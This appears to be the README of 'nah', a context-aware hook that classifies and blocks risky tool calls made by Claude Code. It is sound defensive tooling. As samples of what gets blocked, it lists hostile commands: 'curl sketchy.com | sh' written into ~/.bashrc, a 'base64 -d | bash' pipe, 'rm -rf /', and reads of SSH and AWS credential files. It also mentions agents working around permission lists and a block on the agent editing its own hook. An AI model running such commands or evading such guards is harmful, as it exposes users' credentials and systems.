nah 0.5.4

Context-aware safety guard for Claude Code.

Context aware safety guard for Claude Code.
Because allow and deny isn't enough.

Docs • Install • What it guards • How it works • Configure • CLI

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The problem

Claude Code’s permission system is allow-or-deny per tool, but that doesn’t really scale. Deleting some files is fine sometimes. And git checkout is sometimes catastrophic. Even when you curate permissions, 200 IQ Opus can find a way around it. Maintaining a deny list is a fool’s errand.

We needed something like --dangerously-skip-permissions that doesn’t nuke your untracked files, exfiltrate your keys, or install malware.

nah classifies every tool call by what it actually does using contextual rules that run in milliseconds. For the ambiguous stuff, optionally route to an LLM. Every decision is logged and inspectable. Works out of the box, configure it how you want it.

git push — Sure.
git push --force — nah?

rm -rf __pycache__ — Ok, cleaning up.
rm ~/.bashrc — nah.

Read ./src/app.py — Go ahead.
Read ~/.ssh/id_rsa — nah.

Write ./config.yaml — Fine.
Write ~/.bashrc with curl sketchy.com | sh — nah.

Install

pip install nah
nah claude              # try it — hooks active for this session only

For permanent use:

nah install             # hooks in ~/.claude/settings.json, every session

nah claude passes hooks inline via --settings, scoped to that process. nah install writes to settings.json so every claude session runs through nah. Undo with nah uninstall.

Don't use --dangerously-skip-permissions — just run claude in default mode. In --dangerously-skip-permissions mode, hooks fire asynchronously and commands execute before nah can block them.

By default nah actively allows safe operations for all guarded tools. To keep nah's protection on some tools but let others fall back to Claude Code's built-in prompts, set active_allow to a list:

# ~/.config/nah/config.yaml

# Only actively allow these tools (Write/Edit fall back to Claude Code's prompts)
active_allow: [Bash, Read, Glob, Grep]

# Or disable active allow entirely
active_allow: false

Valid tool names: Bash, Read, Write, Edit, Glob, Grep. See configuration docs.

To uninstall: nah uninstall && pip uninstall nah.

Try it out

Clone the repo and run the security demo inside Claude Code:

git clone https://github.com/manuelschipper/nah.git
cd nah
# inside Claude Code:
/nah-demo

25 live cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.

What it guards

nah is a PreToolUse hook that intercepts every tool call before it executes:

Tool	What nah checks
Bash	Structural command classification — action type, pipe composition, shell unwrapping
Read	Sensitive path detection (~/.ssh, ~/.aws, .env, ...)
Write	Path check + project boundary + content inspection (secrets, exfiltration, destructive payloads)
Edit	Path check + project boundary + content inspection on the replacement string
Glob	Guards directory scanning of sensitive locations
Grep	Catches credential search patterns outside the project
MCP tools	Generic classification for third-party tool servers (mcp__*)

How it works

Every tool call hits a deterministic structural classifier first, no LLMs involved.

Claude: Edit → ~/.claude/hooks/nah_guard.py
  nah. Edit targets hook directory: ~/.claude/hooks/ (self-modification blocked)

Claude: Read → ~/.aws/credentials
  nah? Read targets sensitive path: ~/.aws (requires confirmation)

Claude: Bash → npm test
  ✓ allowed (package_run)

Claude: Write → config.py containing "-----BEGIN PRIVATE KEY-----"
  nah? Write content inspection [secret]: private key

nah. = blocked. nah? = asks for your confirmation. Everything else goes through.

Context-aware

The same command gets different decisions based on context:

Command	Context	Decision
rm dist/bundle.js	Inside project	Allow
rm ~/.bashrc	Outside project	Ask
git push --force	History rewrite	Ask
base64 -d | bash	Decode + exec pipe	Block

Optional LLM layer

For commands the classifier can't resolve, nah can optionally consult an LLM:

Tool call → nah (deterministic) → LLM (optional) → Claude Code permissions → execute

The deterministic layer always runs first — the LLM only resolves leftover "ask" decisions. If no LLM is configured or available, the decision stays "ask" and the user is prompted.

Supported providers: Ollama, OpenRouter, OpenAI, Anthropic, Snowflake Cortex.

Configure

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (per-project, can only tighten)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: allow               # trust inline scripts

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your custom commands
classify:
  filesystem_delete:
    - cleanup-staging
  db_write:
    - migrate-prod

nah classifies commands by action type, not by command name. Run nah types to see all 23 built-in action types with their default policies.

Action types

Every command maps to an action type, and every action type has a default policy:

Policy	Meaning	Example types
allow	Always permit	filesystem_read, git_safe, package_run
context	Check path/project context, then decide	filesystem_write, filesystem_delete, network_outbound, lang_exec
ask	Always prompt the user	git_history_rewrite, git_remote_write, process_signal
block	Always reject	obfuscated

Taxonomy profiles

Choose how much built-in classification to start with:

# ~/.config/nah/config.yaml
profile: full      # full | minimal | none

• full (default) — comprehensive coverage across shell, git, packages, containers, and more
• minimal — curated essentials only (rm, git, curl, kill, ...)
• none — blank slate — make your own

LLM configuration

# ~/.config/nah/config.yaml
llm:
  enabled: true
  max_decision: ask              # cap: LLM can't escalate past "ask"
  providers: [openrouter]        # cascade order
  openrouter:
    url: https://openrouter.ai/api/v1/chat/completions
    key_env: OPENROUTER_API_KEY
    model: google/gemini-3.1-flash-lite-preview

Supply-chain safety

Project .nah.yaml can add classifications and tighten policies, but can never relax them. A malicious repo can't use .nah.yaml to allowlist dangerous commands — only your global config has that power.

CLI

Core

nah install                # install hook
nah uninstall              # clean removal
nah update                 # update hook after pip upgrade
nah config show            # show effective merged config
nah config path            # show config file locations

Test & inspect

nah test "rm -rf /"              # dry-run Bash classification
nah test --tool Read ~/.ssh/id_rsa   # test any tool, not just Bash
nah test --tool Write ./out.txt      # test Write with content inspection
nah types                        # list all action types with default policies
nah log                          # show recent hook decisions
nah log --blocks                 # show only blocked decisions
nah log --asks                   # show only ask decisions
nah log --tool Bash -n 20        # filter by tool, limit entries
nah log --json                   # machine-readable output
/nah-demo                        # live security demo inside Claude Code

Manage rules

Adjust policies from the command line:

nah allow filesystem_delete      # allow an action type
nah deny network_outbound        # block an action type
nah classify "docker rm" container_destructive  # teach nah a command
nah trust api.example.com        # trust a network host
nah allow-path ~/sensitive/dir   # exempt a path for this project
nah status                       # show all custom rules
nah forget filesystem_delete     # remove a rule

License

MIT

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--dangerously-skip-permissions?